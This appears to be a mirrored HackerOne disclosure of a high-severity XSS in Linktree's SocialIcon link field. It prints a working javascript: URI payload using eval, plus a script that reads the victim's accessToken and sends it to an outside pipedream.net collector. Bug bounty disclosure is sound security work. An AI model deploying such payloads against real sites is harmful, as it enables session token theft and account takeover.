HexBrain

Linktree · Report #1698652

XSS in SocialIcon Link

Validstatus
highseverity
106upvotes
31 Oct 2022disclosed

Summary

XSS in SocialIcon Link

There was no validation of the url provided for the SocialIcon Link , which allowed to include javascript uri . As the cookies were marked as httponly , I couldn't steal them directly via the xss so instead I found an endpoint which was leaking the accessToken used for authentication.

await fetch("https://linktr.ee/api/token", {
    "credentials": "include",
    "method": "GET"
})
.then((response) => response.json())
.then((responseJson) => {
    fetch("https://en2celr7rewbul.m.pipedream.net/?token="+responseJson["accessToken"]);
})

Final POC:

javascript://https://amazon.com/shop/x%0Aeval(\"(async()=>{await+fetch('https://linktr.ee/api/token').then((response)=>response.json()).then((responseJson)=>{alert(responseJson['accessToken']);})})()\")

POC in action: https://youtu.be/598GUqKrNvw

How it was found

The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original